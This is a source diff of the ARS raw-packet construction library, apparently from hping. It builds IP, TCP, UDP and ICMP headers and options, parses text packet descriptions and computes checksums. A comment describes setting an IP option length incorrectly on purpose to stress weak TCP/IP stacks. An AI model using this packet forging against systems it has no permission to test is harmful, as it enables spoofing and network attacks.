||||||
|
|
||||||
|
icmp = pkt->p_layer[layer].l_data;
|
||||||
|
|
||||||
|
if (strcasecmp(f, "type") == 0) {
|
||||||
|
icmp->type = ars_atou(v);
|
||||||
|
} else if (strcasecmp(f, "code") == 0) {
|
||||||
|
icmp->code = ars_atou(v);
|
||||||
|
} else if (strcasecmp(f, "cksum") == 0) {
|
||||||
|
icmp->checksum = htons(ars_atou(v));
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_ICMP_CKSUM;
|
||||||
|
} else if (strcasecmp(f, "id") == 0) {
|
||||||
|
icmp->un.echo.id = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "seq") == 0) {
|
||||||
|
icmp->un.echo.sequence = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "gw") == 0) {
|
||||||
|
return ars_resolve(pkt, &icmp->un.gateway, v);
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Invalid field for ICMP layer");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ars_push_data(struct ars_packet *pkt, int layer, void *data, size_t size)
|
||||||
|
{
|
||||||
|
char *p;
|
||||||
|
int old_size;
|
||||||
|
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
old_size = pkt->p_layer[layer].l_size;
|
||||||
|
p = realloc(pkt->p_layer[layer].l_data, old_size + size);
|
||||||
|
if (p == NULL)
|
||||||
|
return -ARS_NOMEM;
|
||||||
|
memcpy(p+old_size, data, size);
|
||||||
|
pkt->p_layer[layer].l_data = p;
|
||||||
|
pkt->p_layer[layer].l_size += size;
|
||||||
|
return ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define ARS_DATA_BUF_SIZE 4096
|
||||||
|
int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v)
|
||||||
|
{
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
if (strcasecmp(f, "file") == 0) {
|
||||||
|
int fd, n_read;
|
||||||
|
unsigned char buffer[ARS_DATA_BUF_SIZE];
|
||||||
|
|
||||||
|
if ((fd = open(v, O_RDONLY)) == -1) {
|
||||||
|
ars_set_error(pkt, "Can't open the DATA file");
|
||||||
|
return -ARS_ERROR;
|
||||||
|
}
|
||||||
|
if ((n_read = read(fd, buffer, ARS_DATA_BUF_SIZE)) == -1) {
|
||||||
|
close(fd);
|
||||||
|
ars_set_error(pkt, "Can't read DATA from file");
|
||||||
|
return -ARS_ERROR;
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
if (n_read == 0)
|
||||||
|
return -ARS_OK;
|
||||||
|
return ars_push_data(pkt, layer, buffer, n_read);
|
||||||
|
} else if (strcasecmp(f, "str") == 0) {
|
||||||
|
return ars_push_data(pkt, layer, v, strlen(v));
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Invalid field for DATA layer");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* A Finite state machine to build the packet using the description */
|
||||||
|
int ars_d_build(struct ars_packet *pkt, char *t)
|
||||||
|
{
|
||||||
|
struct ars_d_keyword_info *k = NULL;
|
||||||
|
char next[ARS_MAX_TSIZE];
|
||||||
|
char field[ARS_MAX_TSIZE];
|
||||||
|
int state = ARS_G_LAYER;
|
||||||
|
int error;
|
||||||
|
void *p;
|
||||||
|
|
||||||
|
while ((t = ars_d_parser(t, next, ARS_MAX_TSIZE)) != NULL) {
|
||||||
|
switch(state) {
|
||||||
|
case ARS_G_LAYER:
|
||||||
|
k = ars_get_keyword_by_name(next);
|
||||||
|
if (k == NULL) {
|
||||||
|
ars_set_error(pkt, "Unknown keyword");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
__D(printf("Adding a new layer (%s)\n", next);)
|
||||||
|
p = k->ki_add(pkt, k->ki_opt);
|
||||||
|
if (p == NULL)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
state = ARS_G_OBRACE_OR_PLUS;
|
||||||
|
break;
|
||||||
|
case ARS_G_FIELD:
|
||||||
|
strncpy(field, next, ARS_MAX_TSIZE);
|
||||||
|
state = ARS_G_EQUAL;
|
||||||
|
break;
|
||||||
|
case ARS_G_VALUE:
|
||||||
|
if (k->ki_set == NULL) {
|
||||||
|
ars_set_error(pkt, "Field specified for"
|
||||||
|
"a layer that doesn't support fields");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
error = k->ki_set(pkt, ARS_LAST_LAYER, field, next);
|
||||||
|
if (error != -ARS_OK)
|
||||||
|
return error;
|
||||||
|
state = ARS_G_COMMA_OR_CBRACE;
|
||||||
|
break;
|
||||||
|
case ARS_G_OBRACE_OR_PLUS:
|
||||||
|
if (next[0] == '{' && next[1] == '\0') {
|
||||||
|
state = ARS_G_FIELD;
|
||||||
|
break;
|
||||||
|
} else if (next[0] == '+' && next[1] == '\0') {
|
||||||
|
state = ARS_G_LAYER;
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Missing brace or plus");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case ARS_G_CBRACE:
|
||||||
|
if (next[0] != '}' || next[1] != '\0') {
|
||||||
|
ars_set_error(pkt, "Missing closed brace");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
state = ARS_G_LEN_OR_PLUS;
|
||||||
|
break;
|
||||||
|
case ARS_G_COMMA_OR_CBRACE:
|
||||||
|
if (next[0] == '}' && next[1] == '\0') {
|
||||||
|
state = ARS_G_LEN_OR_PLUS;
|
||||||
|
break;
|
||||||
|
} else if (next[0] == ',' && next[1] == '\0') {
|
||||||
|
state = ARS_G_FIELD;
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Missing brace or comma");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case ARS_G_LEN_OR_PLUS:
|
||||||
|
if (next[0] == '+' && next[1] == '\0') {
|
||||||
|
state = ARS_G_LAYER;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
error = ars_d_setlayer_size(pkt, ARS_LAST_LAYER, next);
|
||||||
|
if (error != -ARS_OK)
|
||||||
|
return error;
|
||||||
|
state = ARS_G_PLUS;
|
||||||
|
break;
|
||||||
|
case ARS_G_PLUS:
|
||||||
|
if (next[0] != '+' || next[1] != '\0') {
|
||||||
|
ars_set_error(pkt, "Missing plus");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
state = ARS_G_LAYER;
|
||||||
|
break;
|
||||||
|
case ARS_G_EQUAL:
|
||||||
|
if (next[0] != '=' || next[1] != '\0') {
|
||||||
|
ars_set_error(pkt, "Missing equal");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
state = ARS_G_VALUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (state != ARS_G_LEN_OR_PLUS && state != ARS_G_PLUS &&
|
||||||
|
state != ARS_G_OBRACE_OR_PLUS) {
|
||||||
|
ars_set_error(pkt, "Packet description truncated");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
905
ars.c
Normal file
905
ars.c
Normal file
@ -0,0 +1,905 @@
|
|||||||
|
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
* See the LICENSE file for more information.
|
||||||
|
*
|
||||||
|
* TODO:
|
||||||
|
* o Functions to add addresses and timestamps for some IP and TCP option
|
||||||
|
* o IGMP support
|
||||||
|
* o DNS support
|
||||||
|
* o ARS add_build_layer() facility and Co., read the PROPOSAL file.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: ars.c,v 1.4 2003/07/28 09:00:54 njombart Exp $ */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <assert.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include "ars.h"
|
||||||
|
|
||||||
|
/* prototypes */
|
||||||
|
int ars_compiler_ip(struct ars_packet *pkt, int layer);
|
||||||
|
int ars_compiler_ipopt(struct ars_packet *pkt, int layer);
|
||||||
|
int ars_compiler_tcp(struct ars_packet *pkt, int layer);
|
||||||
|
int ars_compiler_tcpopt(struct ars_packet *pkt, int layer);
|
||||||
|
int ars_compiler_udp(struct ars_packet *pkt, int layer);
|
||||||
|
int ars_compiler_icmp(struct ars_packet *pkt, int layer);
|
||||||
|
int ars_compiler_abort(struct ars_packet *pkt, int layer) { return 0; }
|
||||||
|
|
||||||
|
/* Initialize a packets context:
|
||||||
|
* must be called before to work with the packet's layers */
|
||||||
|
int ars_init(struct ars_packet *pkt)
|
||||||
|
{
|
||||||
|
int j;
|
||||||
|
|
||||||
|
pkt->p_error = NULL;
|
||||||
|
pkt->p_layer_nr = 0;
|
||||||
|
for (j = 0; j < ARS_MAX_LAYER; j++) {
|
||||||
|
pkt->p_layer[j].l_size = 0;
|
||||||
|
pkt->p_layer[j].l_flags = 0;
|
||||||
|
pkt->p_layer[j].l_type = ARS_TYPE_NULL;
|
||||||
|
pkt->p_layer[j].l_data = NULL;
|
||||||
|
pkt->p_layer[j].l_packet = pkt;
|
||||||
|
}
|
||||||
|
for (j = 0; j < ARS_TYPE_SIZE; j++)
|
||||||
|
pkt->p_default[j] = NULL;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Destroy (free the allocated memory) a packet context */
|
||||||
|
int ars_destroy(struct ars_packet *pkt)
|
||||||
|
{
|
||||||
|
int j;
|
||||||
|
|
||||||
|
free(pkt->p_error);
|
||||||
|
for (j = 0; j < ARS_MAX_LAYER; j++) {
|
||||||
|
if (pkt->p_layer[j].l_type != ARS_TYPE_NULL &&
|
||||||
|
pkt->p_layer[j].l_data != NULL)
|
||||||
|
free(pkt->p_layer[j].l_data);
|
||||||
|
}
|
||||||
|
return ars_init(pkt); /* Re-initialize it */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* THe out of memory message must be statically allocated */
|
||||||
|
char *ars_error_nomem = "Out of memory";
|
||||||
|
|
||||||
|
/* Set the error description */
|
||||||
|
int ars_set_error(struct ars_packet *pkt, char *error)
|
||||||
|
{
|
||||||
|
if (pkt == NULL)
|
||||||
|
return -ARS_OK;
|
||||||
|
|
||||||
|
free(pkt->p_error); /* p_error is initialized to NULL */
|
||||||
|
if ((pkt->p_error = strdup(error)) == NULL) {
|
||||||
|
/* To put the error description for the -KO_NOMEM
|
||||||
|
* error we needs a statically allocated error message:
|
||||||
|
* Note that all other functions don't need to report
|
||||||
|
* a statically allocated error message for -KO_NOMEM
|
||||||
|
* it will be auto-selected if strdup() returns NULL */
|
||||||
|
pkt->p_error = ars_error_nomem;
|
||||||
|
}
|
||||||
|
return -ARS_OK; /* report anyway success */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Set the default for a layer */
|
||||||
|
int ars_set_default(struct ars_packet *pkt, int layer_type, void *def)
|
||||||
|
{
|
||||||
|
pkt->p_default[layer_type] = def;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* return nonzero if the packet is full */
|
||||||
|
int ars_nospace(struct ars_packet *pkt)
|
||||||
|
{
|
||||||
|
return (pkt->p_layer_nr == ARS_MAX_LAYER);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Check if the layer number is valid */
|
||||||
|
int ars_valid_layer(int layer)
|
||||||
|
{
|
||||||
|
if (layer < 0 || layer >= ARS_MAX_LAYER)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add an a generic layer */
|
||||||
|
int ars_add_generic(struct ars_packet *pkt, size_t size, int type)
|
||||||
|
{
|
||||||
|
int layer;
|
||||||
|
|
||||||
|
if (ars_nospace(pkt)) {
|
||||||
|
ars_set_error(pkt, "No space for the next layer");
|
||||||
|
return -ARS_NOSPACE;
|
||||||
|
}
|
||||||
|
layer = pkt->p_layer_nr;
|
||||||
|
/* You may want to create a 0 len layer and then realloc */
|
||||||
|
if (size != 0) {
|
||||||
|
pkt->p_layer[layer].l_data = malloc(size);
|
||||||
|
if (pkt->p_layer[layer].l_data == NULL) {
|
||||||
|
ars_set_error(pkt, "Out of memory adding a new layer");
|
||||||
|
return -ARS_NOMEM;
|
||||||
|
}
|
||||||
|
memset(pkt->p_layer[layer].l_data, 0, size);
|
||||||
|
/* Copy the default if any */
|
||||||
|
if (pkt->p_default[type] != NULL) {
|
||||||
|
memcpy(pkt->p_layer[layer].l_data,
|
||||||
|
pkt->p_default[type], size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pkt->p_layer[layer].l_type = type;
|
||||||
|
pkt->p_layer[layer].l_size = size;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add an IP layer */
|
||||||
|
void *ars_add_iphdr(struct ars_packet *pkt, int unused)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
retval = ars_add_generic(pkt, sizeof(struct ars_iphdr), ARS_TYPE_IP);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add on IP option */
|
||||||
|
void *ars_add_ipopt(struct ars_packet *pkt, int option)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
struct ars_ipopt *ipopt;
|
||||||
|
int opt_len;
|
||||||
|
|
||||||
|
switch(option) {
|
||||||
|
case ARS_IPOPT_END:
|
||||||
|
case ARS_IPOPT_NOOP:
|
||||||
|
opt_len = 1;
|
||||||
|
break;
|
||||||
|
case ARS_IPOPT_SEC:
|
||||||
|
opt_len = 11;
|
||||||
|
break;
|
||||||
|
case ARS_IPOPT_SID:
|
||||||
|
opt_len = 4;
|
||||||
|
break;
|
||||||
|
case ARS_IPOPT_LSRR:
|
||||||
|
case ARS_IPOPT_SSRR:
|
||||||
|
case ARS_IPOPT_RR:
|
||||||
|
case ARS_IPOPT_TIMESTAMP:
|
||||||
|
/* We allocate the max (40 bytes) but the real layer size
|
||||||
|
* may be modified by ars_ipopt_set*() functions */
|
||||||
|
opt_len = 40;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return NULL; /* Unsupported option */
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
retval = ars_add_generic(pkt, opt_len, ARS_TYPE_IPOPT);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
ipopt = pkt->p_layer[pkt->p_layer_nr].l_data;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
|
||||||
|
ipopt->kind = option;
|
||||||
|
ipopt->len = opt_len; /* the default, can be modified inside switch() */
|
||||||
|
/* Perform some special operation for some option */
|
||||||
|
switch(option) {
|
||||||
|
case ARS_IPOPT_LSRR: /* ars_ipopt_setls() will change some field */
|
||||||
|
case ARS_IPOPT_SSRR: /* ars_ipopt_setss() will change some field */
|
||||||
|
case ARS_IPOPT_RR: /* ars_ipopt_setrr() will change some field */
|
||||||
|
/* RFC 791 needs the roomlen - 3 octects, so the gateways
|
||||||
|
* can compare len and ptr to check for room.
|
||||||
|
* Try to break this to stress lame TCP/IP implementation */
|
||||||
|
ipopt->len = opt_len - 2 - 3;
|
||||||
|
ipopt->un.rr.ptr = 4;
|
||||||
|
break;
|
||||||
|
case ARS_IPOPT_TIMESTAMP:
|
||||||
|
ipopt->un.tstamp.ptr = 5;
|
||||||
|
ipopt->un.tstamp.flags = ARS_IPOPT_TS_TSONLY; /* default */
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return ipopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add a UDP layer */
|
||||||
|
void *ars_add_udphdr(struct ars_packet *pkt, int unused)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
retval = ars_add_generic(pkt, sizeof(struct ars_udphdr), ARS_TYPE_UDP);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add a TCP layer */
|
||||||
|
void *ars_add_tcphdr(struct ars_packet *pkt, int unused)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
retval = ars_add_generic(pkt, sizeof(struct ars_tcphdr), ARS_TYPE_TCP);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add TCP options */
|
||||||
|
void *ars_add_tcpopt(struct ars_packet *pkt, int option)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
struct ars_tcpopt *tcpopt;
|
||||||
|
int opt_len;
|
||||||
|
|
||||||
|
switch(option) {
|
||||||
|
case ARS_TCPOPT_NOP:
|
||||||
|
case ARS_TCPOPT_EOL:
|
||||||
|
opt_len = 1;
|
||||||
|
break;
|
||||||
|
case ARS_TCPOPT_MAXSEG:
|
||||||
|
opt_len = 4;
|
||||||
|
break;
|
||||||
|
case ARS_TCPOPT_WINDOW:
|
||||||
|
opt_len = 3;
|
||||||
|
break;
|
||||||
|
case ARS_TCPOPT_SACK_PERM: /* ars_tcpopt_setsack() must change this */
|
||||||
|
case ARS_TCPOPT_SACK:
|
||||||
|
opt_len = 2;
|
||||||
|
break;
|
||||||
|
case ARS_TCPOPT_ECHOREQUEST:
|
||||||
|
case ARS_TCPOPT_ECHOREPLY:
|
||||||
|
opt_len = 6;
|
||||||
|
break;
|
||||||
|
case ARS_TCPOPT_TIMESTAMP:
|
||||||
|
opt_len = 10;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return NULL; /* Unsupported option */
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
retval = ars_add_generic(pkt, opt_len, ARS_TYPE_TCPOPT);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
tcpopt = pkt->p_layer[pkt->p_layer_nr].l_data;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
|
||||||
|
tcpopt->kind = option;
|
||||||
|
/* EOL and NOP lacks the len field */
|
||||||
|
if (option != ARS_TCPOPT_EOL && option != ARS_TCPOPT_NOP)
|
||||||
|
tcpopt->len = opt_len;
|
||||||
|
|
||||||
|
/* Perform some special operation for the option */
|
||||||
|
switch(option) {
|
||||||
|
case ARS_TCPOPT_ECHOREQUEST:
|
||||||
|
case ARS_TCPOPT_ECHOREPLY:
|
||||||
|
memset(tcpopt->un.echo.info, 0, 4);
|
||||||
|
break;
|
||||||
|
case ARS_TCPOPT_TIMESTAMP:
|
||||||
|
memset(tcpopt->un.timestamp.tsval, 0, 4);
|
||||||
|
memset(tcpopt->un.timestamp.tsecr, 0, 4);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return tcpopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add an ICMP layer */
|
||||||
|
void *ars_add_icmphdr(struct ars_packet *pkt, int unused)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
struct ars_icmphdr *icmp;
|
||||||
|
|
||||||
|
retval = ars_add_generic(pkt, sizeof(struct ars_icmphdr),ARS_TYPE_ICMP);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
icmp = pkt->p_layer[pkt->p_layer_nr].l_data;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
return (struct ars_icmphdr*) pkt->p_layer[pkt->p_layer_nr-1].l_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Add data, for IP-RAW, TCP, UDP, and so on */
|
||||||
|
void *ars_add_data(struct ars_packet *pkt, int size)
|
||||||
|
{
|
||||||
|
int retval;
|
||||||
|
void *boguspointer = "zzappt"; /* we can't return NULL for size == 0 */
|
||||||
|
|
||||||
|
if (size < 0) {
|
||||||
|
ars_set_error(pkt, "Tryed to add a DATA layer with size < 0");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
retval = ars_add_generic(pkt, size, ARS_TYPE_DATA);
|
||||||
|
if (retval != -ARS_OK)
|
||||||
|
return NULL;
|
||||||
|
pkt->p_layer_nr++;
|
||||||
|
if (size > 0)
|
||||||
|
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
|
||||||
|
else
|
||||||
|
return boguspointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Remove a layer */
|
||||||
|
int ars_remove_layer(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr -1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
free(pkt->p_layer[layer].l_data); /* No problem if it's NULL */
|
||||||
|
pkt->p_layer[layer].l_type = ARS_TYPE_NULL;
|
||||||
|
pkt->p_layer[layer].l_size = 0;
|
||||||
|
pkt->p_layer[layer].l_flags = 0;
|
||||||
|
pkt->p_layer[layer].l_data = NULL;
|
||||||
|
pkt->p_layer[layer].l_packet = pkt;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Return the sum of the size of the specifed layer and of all the
|
||||||
|
* following layers */
|
||||||
|
size_t ars_relative_size(struct ars_packet *pkt, int layer_nr)
|
||||||
|
{
|
||||||
|
int j = layer_nr, rel_size = 0;
|
||||||
|
|
||||||
|
while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) {
|
||||||
|
rel_size += pkt->p_layer[j].l_size;
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
return rel_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Just a short cut for ars_relative_size(), to get the total size */
|
||||||
|
size_t ars_packet_size(struct ars_packet *pkt)
|
||||||
|
{
|
||||||
|
return ars_relative_size(pkt, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* from R. Stevens's Network Programming */
|
||||||
|
u_int16_t ars_cksum(void *vbuf, size_t nbytes)
|
||||||
|
{
|
||||||
|
u_int16_t *buf = (u_int16_t*) vbuf;
|
||||||
|
u_int32_t sum;
|
||||||
|
u_int16_t oddbyte;
|
||||||
|
|
||||||
|
sum = 0;
|
||||||
|
while (nbytes > 1) {
|
||||||
|
sum += *buf++;
|
||||||
|
nbytes -= 2;
|
||||||
|
}
|
||||||
|
if (nbytes == 1) {
|
||||||
|
oddbyte = 0;
|
||||||
|
*((u_int16_t *) &oddbyte) = *(u_int8_t *) buf;
|
||||||
|
sum += oddbyte;
|
||||||
|
}
|
||||||
|
sum = (sum >> 16) + (sum & 0xffff);
|
||||||
|
sum += (sum >> 16);
|
||||||
|
return (u_int16_t) ~sum;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Multiple buffers checksum facility */
|
||||||
|
u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf,
|
||||||
|
size_t nbytes)
|
||||||
|
{
|
||||||
|
u_int16_t *buf = (u_int16_t*) vbuf;
|
||||||
|
u_int32_t sum;
|
||||||
|
u_int16_t oddbyte;
|
||||||
|
void *tmp;
|
||||||
|
|
||||||
|
if (op == ARS_MC_INIT) {
|
||||||
|
c->oddbyte_flag = 0;
|
||||||
|
c->old = 0;
|
||||||
|
return -ARS_OK;
|
||||||
|
} else if (op == ARS_MC_UPDATE) {
|
||||||
|
if (c->oddbyte_flag) {
|
||||||
|
u_int8_t *x = (u_int8_t*)&oddbyte;
|
||||||
|
oddbyte = 0;
|
||||||
|
*((u_int16_t *) &oddbyte) = c->oddbyte << 8;
|
||||||
|
*((u_int16_t *) &oddbyte) |= *(u_int8_t *) buf;
|
||||||
|
oddbyte = (x[0] << 8) | x[1]; /* fix endianess */
|
||||||
|
c->old += oddbyte;
|
||||||
|
nbytes--;
|
||||||
|
c->oddbyte_flag = 0;
|
||||||
|
/* We need to stay aligned -- bad slowdown, fix? */
|
||||||
|
tmp = alloca(nbytes);
|
||||||
|
memcpy(tmp, vbuf+1, nbytes);
|
||||||
|
buf = tmp;
|
||||||
|
}
|
||||||
|
sum = c->old;
|
||||||
|
while (nbytes > 1) {
|
||||||
|
sum += *buf++;
|
||||||
|
nbytes -= 2;
|
||||||
|
}
|
||||||
|
c->old = sum;
|
||||||
|
if (nbytes == 1) {
|
||||||
|
c->oddbyte = *(u_int8_t*) buf;
|
||||||
|
c->oddbyte_flag++;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
} else if (op == ARS_MC_FINAL) {
|
||||||
|
sum = c->old;
|
||||||
|
if (c->oddbyte_flag == 1) {
|
||||||
|
oddbyte = 0;
|
||||||
|
*((u_int16_t *) &oddbyte) = c->oddbyte;
|
||||||
|
sum += oddbyte;
|
||||||
|
}
|
||||||
|
sum = (sum >> 16) + (sum & 0xffff);
|
||||||
|
sum += (sum >> 16);
|
||||||
|
return (u_int16_t) ~sum;
|
||||||
|
} else {
|
||||||
|
assert("else reached in ars_multi_cksum()" == "");
|
||||||
|
}
|
||||||
|
return 0; /* unreached, here to prevent warnings */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The ARS compiler table is just a function pointers array:
|
||||||
|
* For example to select the right function to compile an IP
|
||||||
|
* layer use: ars_compiler[ARS_TYPE_IP](pkt, layer);
|
||||||
|
* You can, of course, add your protocols and compilers:
|
||||||
|
*
|
||||||
|
* WARNING: take it syncronized with ars.h ARS_TYPE_* defines
|
||||||
|
*/
|
||||||
|
struct ars_layer_info ars_linfo[ARS_TYPE_SIZE] = {
|
||||||
|
/* NAME COMPILER ID *
|
||||||
|
* ---- -------- -- */
|
||||||
|
{ "NULL", ars_compiler_abort, 0 },
|
||||||
|
{ "IP", ars_compiler_ip, 1 },
|
||||||
|
{ "IPOPT", ars_compiler_ipopt, 2 },
|
||||||
|
{ "ICMP", ars_compiler_icmp, 3 },
|
||||||
|
{ "UDP", ars_compiler_udp, 4 },
|
||||||
|
{ "TCP", ars_compiler_tcp, 5 },
|
||||||
|
{ "TCPOPT", ars_compiler_tcpopt, 6 },
|
||||||
|
{ NULL, NULL, 7 },
|
||||||
|
{ NULL, NULL, 8 },
|
||||||
|
{ NULL, NULL, 9 },
|
||||||
|
{ NULL, NULL, 10 },
|
||||||
|
{ NULL, NULL, 11 },
|
||||||
|
{ NULL, NULL, 12 },
|
||||||
|
{ NULL, NULL, 13 },
|
||||||
|
{ NULL, NULL, 14 },
|
||||||
|
{ NULL, NULL, 15 },
|
||||||
|
{ NULL, NULL, 16 },
|
||||||
|
{ NULL, NULL, 17 },
|
||||||
|
{ NULL, NULL, 18 },
|
||||||
|
{ NULL, NULL, 19 },
|
||||||
|
{ NULL, NULL, 20 },
|
||||||
|
{ NULL, NULL, 21 },
|
||||||
|
{ NULL, NULL, 22 },
|
||||||
|
{ NULL, NULL, 23 },
|
||||||
|
{ NULL, NULL, 24 },
|
||||||
|
{ NULL, NULL, 25 },
|
||||||
|
{ NULL, NULL, 26 },
|
||||||
|
{ NULL, NULL, 27 },
|
||||||
|
{ NULL, NULL, 28 },
|
||||||
|
{ NULL, NULL, 29 },
|
||||||
|
{ NULL, NULL, 30 },
|
||||||
|
{ "DATA", NULL, 31 }
|
||||||
|
};
|
||||||
|
|
||||||
|
/* This function call the right compiler for all the layers of the packet:
|
||||||
|
* A compiler just set the protocol fields like the checksum, len, and so on
|
||||||
|
* accordly to the following layers.
|
||||||
|
* Note that the layers are compiled from the last to the first, to ensure
|
||||||
|
* that the checksum and other dependences are sane. */
|
||||||
|
int ars_compile(struct ars_packet *pkt)
|
||||||
|
{
|
||||||
|
int j, err;
|
||||||
|
|
||||||
|
for (j = pkt->p_layer_nr - 1; j >= 0; j--) {
|
||||||
|
__D(printf("Compiling layer %d\n", j);)
|
||||||
|
/* Skip NULL compilers */
|
||||||
|
if (ars_linfo[pkt->p_layer[j].l_type].li_compiler != NULL) {
|
||||||
|
/* Call the compiler */
|
||||||
|
err = ars_linfo[pkt->p_layer[j].l_type].li_compiler(pkt, j);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The IP compiler: probably the more complex, but still simple */
|
||||||
|
int ars_compiler_ip(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
struct ars_iphdr *ip = pkt->p_layer[layer].l_data;
|
||||||
|
int j = layer, err;
|
||||||
|
int flags = pkt->p_layer[layer].l_flags;
|
||||||
|
int ipoptlen = 0;
|
||||||
|
struct mc_context mc; /* multi-buffer checksum context */
|
